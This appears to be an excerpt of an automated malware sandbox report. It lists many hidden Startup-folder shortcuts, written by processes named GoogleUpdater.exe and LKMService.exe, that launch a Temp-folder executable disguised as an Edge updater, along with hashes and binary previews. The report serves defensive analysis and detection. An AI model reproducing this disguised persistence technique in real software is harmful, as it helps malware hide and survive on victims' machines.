Preview:	L..................F...."......P....X.P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_09cca5bcef6544df9edf8d1207550362.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:34 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.933915002940454
Encrypted:	false
SSDEEP:	24:8pVRZEeYl1RogKrA5+W8Ajfv/42egvqyFm:8pVROr1R8AZjvgTyF
MD5:	B56BBD9A5866919817FF8DA7A7027C41
SHA1:	2C67A6A9295BB279DB723B9D76665108D9541A34
SHA-256:	A0356349DC0477D285C35CD2003139A7856AC7E997EF6BE9C978D957B3E4E6C9
SHA-512:	50EEA0BED2D7DDE6A36F4584F512F50DF2DA3EB7A8AAF5E073237EC3CE474ADBF8B40E9CF956D4174FB7C3E1AF54D8E89B4754574A1D248BA155B16CE61D031F
Malicious:	false
Preview:	L..................F...."......P...L.pWP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...\|..TP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_0a928f8bb10c4b24913a1e69cb92f473.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:42 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9420321340263795
Encrypted:	false
SSDEEP:	24:8pgRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pgRjr1R8AZjvgTyF
MD5:	D84663AB172B7AD3E390F5629117A22E
SHA1:	E14DB213D29A3FCBE5D3E3844221313FA4E758AA
SHA-256:	E8C3CAF43479F79A4FD30D18843EAA0BE6DC6A80F4432A24FB50745553383A16
SHA-512:	3AC9DF1AAFE7301D474FF44A81DA6C2AE189BDA5AD122E4C6D4B359FEDB896440D6B948DFAF7857F626EF13679C7C62F5345754C27439FF84EE62A7275F27224
Malicious:	false
Preview:	L..................F...."......P....b.8P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_0af13e2ef0b74df9b26b0013003308c2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:03 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9384467753128884
Encrypted:	false
SSDEEP:	24:8p+6fRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pLRjr1R8AZjvgTyF
MD5:	9F65D6747FAEA9C5CC1B9E4C44D9009E
SHA1:	0E0C10E468D6D11157508397B3767AF7AAAAEF92
SHA-256:	318B0F435068BEC7C146B9E61B2A053221D4BC7F9F72BF5CFD68AEC4742C0279
SHA-512:	A2DC4D786B5249FDAA771E3634525739C6306AF199E4CDE2F9B2BFA886A5E272C9F9C930B26BA0E79AEDF4D50D730B4FF46EFAE8E44B48974132C97F0F5397A1
Malicious:	false
Preview:	L..................F...."......P...vn.DP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_0d1f41de375d4af797c518995ef8714e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:16 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94054286527361
Encrypted:	false
SSDEEP:	24:8pSRs/eYl1RogKrA5+W8Ajfv/42egvqyFm:8pSRs/r1R8AZjvgTyF
MD5:	1FAD5C5325F0F742A5C00246E5BEF6F9
SHA1:	F8E160D0D1E5E14E6734567AFC50D65AD02B143F
SHA-256:	3AEE0F452B3571C02A4477B30C61ED3779DF9F675FA15380277A25C12E95CA1A
SHA-512:	25BF3D586B76E10CB96E92FE0B695DF55A8379331AB2ECA9CF7A167BF5F63A2686547B72EFF278C56D020381BE86349636583BFEEDBB73A50C90A9C8BA7BA812
Malicious:	false
Preview:	L..................F...."......P...B..pP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....7qP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_0f7a229e62c443b3836c558cdada5568.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:11 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.93586345977749
Encrypted:	false
SSDEEP:	24:8pCRfeYl1RogKrA5+W8Ajfv/42egvqyFm:8pCRfr1R8AZjvgTyF
MD5:	DAD5FCA2491AE780F3B8C39A59DFB423
SHA1:	5837912C426C445E154E4E36BD3C80A0773F4321
SHA-256:	11F4BCB2B30220CA407C8FD96E99FF5E91EB538D98D298D9945DCD7947FAC29C
SHA-512:	254EAFEEC6BE23CF262725E61147C80CBB11CF76C07448E59D6D9D0F0AB18588FFC960788DEDC7D339E7B2E06646179231E617BCEC8F43A421E9AFE109DACB0E
Malicious:	false
Preview:	L..................F...."......P....\|ZmP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...c..lP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_114cb2fd114a4308b1d249db48cea183.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:18 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.941520654788586
Encrypted:	false
SSDEEP:	24:8pzRkeYl1RogKrA5+W8Ajfv/42egvqyFm:8pzRkr1R8AZjvgTyF
MD5:	40C3F9C35ECE8AB47DA21FFF4596A72A
SHA1:	E21784D1709A62E08CE40F099EA3DEA7ABEDDECE
SHA-256:	AD89AB7C71A4AA98EAC011F0871DB31C466EB062149DBA2F07BCFAABFF379F85
SHA-512:	95FBAD4D7160D6B2F3AED86DFB0E5F6BF2CE412133F759149E62584A9346E9534763AC5C6BE9BBBB19A554776147E494ACDC1251E81FFC444CD2CC4268269B92
Malicious:	false
Preview:	L..................F...."......P.....H.P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_11d6fb0fd17b41be87fc848fec0a2b18.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:48 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.943243729877165
Encrypted:	false
SSDEEP:	24:8pbORBeYl1RogKrA5+W8Ajfv/42egvqyFm:8pqRBr1R8AZjvgTyF
MD5:	CDCB42E2B52AA0C961883C9C41646BDC
SHA1:	AB38843490A0FDCD7228A4E78341B1E55FFED93D
SHA-256:	A376E4ECBF359C83142BF8431F7A084DD4E4123BF936674226370F742F60BD68
SHA-512:	6F2EF73E95CEF30A29F95140745B2AB167C3DE7B00397E361C664CA66D9E8F419A7A004FC583A73C59BA6301CEC868F7284BC80E6A6A3723FDEEF3659765CC3F
Malicious:	false
Preview:	L..................F...."......P....V*.P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_1238fd8ee71240d68ed02f257e4f6ebe.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:57 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.937644796614788
Encrypted:	false
SSDEEP:	24:8pNjRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pNjRjr1R8AZjvgTyF
MD5:	14FC0F881C3A9724ED65E16096697EC6
SHA1:	C6E4E3B09281629BDA6F3985DB2EF71B0810524D
SHA-256:	48D352A130497538F06550CE3E330BFFF9231A1A8C6E70A9B4AE09BD54FC00CD
SHA-512:	79B151683B6116A4814074A77B6FCE160149B307080CC6D1A8B9C6BFE21BC169836D98227C809C505AFE4E729DD70E1FFC0744686AB7A99FCBD5084A1C36BE0C
Malicious:	false
Preview:	L..................F...."......P...L.)AP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_1247b6d2ce8949e89d6283471c3c994c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:44 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.940812856863464
Encrypted:	false
SSDEEP:	24:8pmRheYl1RogKrA5+W8Ajfv/42egvqyFm:8pmRhr1R8AZjvgTyF
MD5:	9D7144EE45DA93BA90759ADB3DCAD4EB
SHA1:	B43BF1ACB643F9A21F954D2D5D425BE08CB2EAF5
SHA-256:	83DFA70C7D2C13CEB8F9E60CEC166390F10A42441583EF07A1D75DE6F2098A3A
SHA-512:	1F45A6E492C8FD3F4883E9B6EE9E7AD1BB6A791163237F48F5B0B6C1A6BCBC2F522DCEDA4B7460DFC128D24CD3C569F42D3A23288F53F51DA4C3E504607F6FB5
Malicious:	false
Preview:	L..................F...."......P...U.6]P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P....:@]P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_128c02f1ec9541c28fa9b464dfde3dda.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:48 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94363562308114
Encrypted:	false
SSDEEP:	24:8pdRheYl1RogKrA5+W8Ajfv/42egvqyFm:8pdRhr1R8AZjvgTyF
MD5:	A54B413988F73560969CCF5D5F4DB661
SHA1:	2548325DD4888E37EF80BE9B8F98607CF8B219AF
SHA-256:	C1D85533DE9D78063885692FD3E1BA73B8980AC47DCAB1913679D3F6F02A25AA
SHA-512:	B929FEE8DE75C36684DD5D94DDFB19CF2C3223C1536701C880F45789B5FBE35241D8FA3BB2CA58B48182EF4198A923F006FAFF99E7364772E3A4B84981462869
Malicious:	false
Preview:	L..................F...."......P...Gl._P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P....:@]P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_129c899e2a1c42be9a3e41a8dce953d5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:49 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.937495044451659
Encrypted:	false
SSDEEP:	24:8pRRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8pRRBr1R8AZjvgTyF
MD5:	17096D865693D6BFCD4AE2DD682BBE0C
SHA1:	EFBCF5BE83EC13FC81B3123B6D136FFE3951E61B
SHA-256:	38C08C3B28192D18ED9569A76A2CA74B1111503B138B81B06BEB05E2ACE51150
SHA-512:	772448C362CFBDBBB21038B51FBAACF669BC47CAE53E049D67961BA8D2398D5AD29E898B61D2EB5048EBA4D9CAABACFCE38CF5E238CE583B6D0B35007C25C1B6
Malicious:	false
Preview:	L..................F...."......P...e...P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_12a614bbc4f9486c994c34e5055220c6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:18 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94490969481475
Encrypted:	false
SSDEEP:	24:8pnRBx/eYl1RogKrA5+W8Ajfv/42egvqyFm:8pnRBx/r1R8AZjvgTyF
MD5:	1879C072CF8F3B0366813484534971A6
SHA1:	1118668B31EE7CC585BCC98FF11A98318C136971
SHA-256:	1577D54F2DDD525B0D104799D3E054F7FEDE96928A306E08CE37C06645012EF0
SHA-512:	DC858FED2B956575D0F2B7B75701489E3CDF66A47D53AAC379A64A4B8E338D97F6983ADC3CC0F125707F3DBED73423041BBEBB097742604A89A7783693FA9777
Malicious:	false
Preview:	L..................F...."......P....G.qP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......qP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_12db5bdc2a9e479eabc4a4ddf27d359b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:39 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.943804172397781
Encrypted:	false
SSDEEP:	24:8p1qR9eYl1RogKrA5+W8Ajfv/42egvqyFm:8pgR9r1R8AZjvgTyF
MD5:	A97ECE3EBFDF607FA5C19D532BE30491
SHA1:	3839CE0CBDCBCC2D63B9B8C015354F1DCDB3211D
SHA-256:	1E4A3D97E2AD0AE1FB70E337B61763A728DB45FE78CB9194CCA7093CFE4AB313
SHA-512:	5A81D4A8834D63AE0ECA6DC6C637B9B0FAD0C182C29B1F2761EAB3F880B3D6D0A9EA8443C8873C1F6BC753CCC76FC064CE11AC9785476BF91B4EDDE6C6E2C412
Malicious:	false
